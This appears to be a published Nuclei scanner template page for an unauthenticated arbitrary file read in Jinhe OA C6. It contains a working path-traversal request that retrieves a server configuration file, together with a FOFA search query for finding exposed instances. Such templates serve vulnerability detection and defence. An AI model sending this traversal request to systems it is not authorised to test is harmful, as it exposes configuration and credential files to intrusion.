Skip to content

Jinhe OA_C6_UploadFileDownLoadnew - Arbitrary File Read

ID: jinhe-oa-c6-upload-lfi

Severity: high

Author: pussycat0x

Tags: jinhe-oa-c6,misconfig

There is an arbitrary file reading vulnerability in the UploadFileDownLoadnew.aspx interface of Jinhe OA C6. An unauthenticated attacker can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc., causing the website to be in Extremely unsafe state.

id: jinhe-oa-c6-upload-lfi
info:
name: Jinhe OA_C6_UploadFileDownLoadnew - Arbitrary File Read
author: pussycat0x
severity: high
description: |
There is an arbitrary file reading vulnerability in the UploadFileDownLoadnew.aspx interface of Jinhe OA C6. An unauthenticated attacker can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc., causing the website to be in Extremely unsafe state.
reference:
- https://github.com/wy876/POC/blob/main/%E9%87%91%E5%92%8COA_C6_UploadFileDownLoadnew%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
metadata:
max-request: 1
verified: true
fofa-query: body="JHSoft.Web.AddMenu" || app="金和网络-金和OA"
tags: jinhe-oa-c6,misconfig
http:
- method: GET
path:
- "{{BaseURL}}/c6/JHSoft.Web.CustomQuery/UploadFileDownLoadnew.aspx/?FilePath=../Resource/JHFileConfig.ini"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "MaxFolderTotal=1"
- "[JHFile]"
- "FolderTotal=1"
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502207b6c5d27759b7ef63a0b63990e1394193c768101e502f01f0ff1bf24dc27b2a9022100fe83d7ad1bee816fa43682e0f909d4f517168a4800dbb50db2e8b54c734ec1fc:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/jinhe/jinhe-oa-c6-upload-lfi.yaml"

View on Github